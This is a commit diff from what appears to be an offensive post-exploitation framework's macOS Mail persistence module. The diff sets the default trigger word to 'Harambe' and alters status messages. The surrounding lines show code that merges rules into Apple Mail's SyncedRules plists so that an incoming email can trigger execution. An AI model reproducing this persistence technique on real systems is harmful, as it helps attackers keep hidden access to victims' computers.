Merge remote-tracking branch 'origin/2.0_beta' into 2.0_beta
# Conflicts: # lib/modules/python/persistence/osx/mail.pymdns
commit
1ae3fb906c
|
@ -71,7 +71,7 @@ class Module:
|
|||
'Trigger' : {
|
||||
'Description' : 'The trigger word.',
|
||||
'Required' : True,
|
||||
'Value' : ''
|
||||
'Value' : 'Harambe'
|
||||
}
|
||||
}
|
||||
#
|
||||
|
@ -218,11 +218,11 @@ with open("/System/Library/CoreServices/SystemVersion.plist", 'r') as a:
|
|||
a.close()
|
||||
|
||||
if os.path.isfile(home + "/Library/Mobile Documents/com~apple~mail/Data/" + version + "/MailData/ubiquitous_SyncedRules.plist"):
|
||||
print "Writing to " + home + "/Library/Mobile Documents/com~apple~mail/Data/" + version + "/MailData/ubiquitous_SyncedRules.plist"
|
||||
print "Trying to write to Mobile"
|
||||
os.system("/usr/libexec/PlistBuddy -c 'Merge " + SyncedRules + "' " + home + "/Library/Mobile\ Documents/com~apple~mail/Data/" + version + "/MailData/ubiquitous_SyncedRules.plist")
|
||||
else:
|
||||
os.system("/usr/libexec/PlistBuddy -c 'Merge " + SyncedRules + "' " + home + "/Library/Mail/" + version + "/MailData/SyncedRules.plist")
|
||||
print "Writing to " + home + "/Library/Mail/" + version + "/MailData/SyncedRules.plist"
|
||||
print "Writing to main rules"
|
||||
|
||||
os.system("/usr/libexec/PlistBuddy -c 'Merge " + RulesActiveState + "' "+ home + "/Library/Mail/" + version + "/MailData/RulesActiveState.plist")
|
||||
os.system("rm " + SyncedRules)
|
||||
|
|
Loading…
Reference in New Issue